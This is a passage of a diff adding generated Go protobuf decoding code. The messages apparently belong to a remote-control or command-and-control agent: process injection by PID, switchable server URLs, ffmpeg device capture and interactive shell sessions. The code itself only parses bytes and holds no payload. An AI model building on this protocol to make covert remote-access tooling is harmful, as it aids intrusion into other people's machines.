int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Inject: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Inject: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bin", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Bin = append(m.Bin[:0], dAtA[iNdEx:postIndex]...) + if m.Bin == nil { + m.Bin = []byte{} + } + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) + } + m.Pid = 0 + m.Pid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Pipe) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Pipe: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Pipe: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Target", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Target = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Data", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Data = append(m.Data[:0], dAtA[iNdEx:postIndex]...) + if m.Data == nil { + m.Data = []byte{} + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *PipeRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: PipeRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: PipeRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Type = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Pipe", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Pipe == nil { + m.Pipe = &Pipe{} + } + if err := m.Pipe.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Switch) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Switch: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Switch: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Urls", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Urls = append(m.Urls, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *TaskCtrl) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: TaskCtrl: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: TaskCtrl: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field TaskId", wireType) + } + m.TaskId = 0 + m.TaskId, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Op", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Op = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *TaskInfo) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: TaskInfo: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: TaskInfo: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field TaskId", wireType) + } + m.TaskId = 0 + m.TaskId, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Last", wireType) + } + m.Last = 0 + m.Last, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field RecvCount", wireType) + } + m.RecvCount = 0 + m.RecvCount, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field SendCount", wireType) + } + m.SendCount = 0 + m.SendCount, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *TaskListResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: TaskListResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: TaskListResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Tasks", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Tasks = append(m.Tasks, &TaskInfo{}) + if err := m.Tasks[len(m.Tasks)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *FFmpegRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: FFmpegRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: FFmpegRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Action", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Action = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field DeviceName", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.DeviceName = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field OutputFormat", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.OutputFormat = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field OutputPath", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.OutputPath = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Time", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Time = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *PtyRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: PtyRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: PtyRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Type = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field SessionId", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.SessionId = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Shell", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Shell = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Cols", wireType) + } + m.Cols = 0 + m.Cols, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Rows", wireType) + } + m.Rows = 0 + m.Rows, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field InputData", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.InputData = append(m.InputData[:0], dAtA[iNdEx:postIndex]...) + if m.InputData == nil { + m.InputData = []byte{} + } + iNdEx = postIndex + case 7: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field InputText", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.InputText = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Params", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Params == nil { + m.Params = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + mapkey = string(dAtA[iNdEx:postStringIndexmapkey]) + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + mapvalue = string(dAtA[iNdEx:postStringIndexmapvalue]) + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Params[mapkey] = mapvalue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *PtyResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: PtyResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: PtyResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field SessionId", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.SessionId = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field OutputData", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.OutputData = append(m.OutputData[:0], dAtA[iNdEx:postIndex]...) + if m.OutputData == nil { + m.OutputData = []byte{} + } + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field OutputText", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.OutputText = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Error", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Error = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field SessionActive", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.SessionActive = bool(v != 0) + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ActiveSessions", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.ActiveSessions = append(m.ActiveSessions, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + case 7: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Metadata", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Metadata == nil { + m.Metadata = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + mapkey = string(dAtA[iNdEx:postStringIndexmapkey]) + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + mapvalue = string(dAtA[iNdEx:postStringIndexmapvalue]) + iNdEx = 